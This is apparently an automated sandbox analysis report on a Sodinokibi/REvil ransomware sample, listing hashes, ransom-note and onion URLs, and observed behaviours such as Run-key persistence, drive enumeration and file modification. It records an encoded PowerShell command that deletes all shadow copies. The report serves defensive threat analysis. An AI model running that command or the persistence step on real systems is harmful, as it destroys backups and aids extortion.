Analysis
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max time kernel
176s -
max time network
174s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
24-01-2022 01:53
Static task
static1
Behavioral task
behavioral1
Sample
68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe
Resource
win10-en-20211208
General
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Target
68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe
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Size
179KB
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MD5
956274df4e08be7860ebb9fbf4a75930
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SHA1
d28417b371ded8b26e8f29b27c02515fb6154224
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SHA256
68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21
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SHA512
569a10c6e18b122e9e00768fe4443b1dbcc49e447bfbf239d5583cc6b3c862397fc75be8a2175e293ee05976899fff124b93d0c00adbd2d4530400b4ca585793
Malware Config
Extracted
C:\cjghpt3jv-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/D0D1EB62813A842D
http://decryptor.top/D0D1EB62813A842D
Signatures
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Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
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Adds Run key to start application 2 TTPs 2 IoCs
Processes:
68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run 68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\sNpEShi30R = "C:\\Users\\Admin\\AppData\\Local\\Temp\\68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe" 68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe -
Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exedescription ioc process File opened (read-only) \??\T: 68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe File opened (read-only) \??\W: 68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe File opened (read-only) \??\Z: 68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe File opened (read-only) \??\K: 68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe File opened (read-only) \??\E: 68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe File opened (read-only) \??\G: 68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe File opened (read-only) \??\H: 68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe File opened (read-only) \??\L: 68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe File opened (read-only) \??\M: 68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe File opened (read-only) \??\Y: 68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe File opened (read-only) \??\A: 68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe File opened (read-only) \??\Q: 68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe File opened (read-only) \??\U: 68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe File opened (read-only) \??\N: 68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe File opened (read-only) \??\F: 68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe File opened (read-only) \??\I: 68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe File opened (read-only) \??\J: 68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe File opened (read-only) \??\O: 68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe File opened (read-only) \??\P: 68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe File opened (read-only) \??\R: 68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe File opened (read-only) \??\S: 68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe File opened (read-only) \??\B: 68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe File opened (read-only) \??\X: 68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe File opened (read-only) \??\V: 68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe -
Drops file in Program Files directory 12 IoCs
Processes:
68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exedescription ioc process File opened for modification \??\c:\program files\RenameSave.mp2 68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe File opened for modification \??\c:\program files\StepClear.easmx 68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe File opened for modification \??\c:\program files\UnregisterSet.ps1xml 68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe File created \??\c:\program files\cjghpt3jv-readme.txt 68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe File opened for modification \??\c:\program files\CheckpointRestore.3gp 68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe File opened for modification \??\c:\program files\DisableComplete.odt 68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe File opened for modification \??\c:\program files\InstallSplit.wdp 68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe File opened for modification \??\c:\program files\LimitHide.gif 68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe File created \??\c:\program files (x86)\cjghpt3jv-readme.txt 68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe File opened for modification \??\c:\program files\ExitResolve.rtf 68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe File opened for modification \??\c:\program files\UnprotectMerge.mhtml 68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe File opened for modification \??\c:\program files\WatchSubmit.ppsx 68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe -
Modifies data under HKEY_USERS 42 IoCs
Processes:
powershell.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe -
Suspicious behavior: EnumeratesProcesses 15 IoCs
Processes:
68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exepowershell.exepid process 3192 68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe 3192 68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe 3192 68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe 3192 68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe 68 powershell.exe 68 powershell.exe 68 powershell.exe 3192 68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe 3192 68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe 3192 68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe 3192 68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe 3192 68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe 3192 68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe 3192 68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe 3192 68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
powershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 68 powershell.exe Token: SeBackupPrivilege 1500 vssvc.exe Token: SeRestorePrivilege 1500 vssvc.exe Token: SeAuditPrivilege 1500 vssvc.exe -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exedescription pid process target process PID 3192 wrote to memory of 68 3192 68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe powershell.exe PID 3192 wrote to memory of 68 3192 68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe powershell.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe"C:\Users\Admin\AppData\Local\Temp\68d86762f004d1cfcbe2433b73036ccab0455117a2e04f66721ddefd4de39b21.exe"1⤵
- Adds Run key to start application
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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memory/68-127-0x0000021123BB0000-0x0000021123BD2000-memory.dmpFilesize
136KB
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memory/68-131-0x0000021123B73000-0x0000021123B75000-memory.dmpFilesize
8KB
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memory/68-130-0x0000021123B70000-0x0000021123B72000-memory.dmpFilesize
8KB
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memory/68-132-0x0000021123F60000-0x0000021123FD6000-memory.dmpFilesize
472KB
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memory/3192-118-0x00000000007E0000-0x00000000007EA000-memory.dmpFilesize
40KB
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memory/3192-119-0x00000000007F0000-0x00000000007F1000-memory.dmpFilesize
4KB
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memory/3192-120-0x0000000000A00000-0x0000000000A01000-memory.dmpFilesize
4KB
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memory/3192-121-0x0000000002520000-0x0000000002543000-memory.dmpFilesize
140KB
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memory/3192-122-0x0000000002520000-0x0000000002543000-memory.dmpFilesize
140KB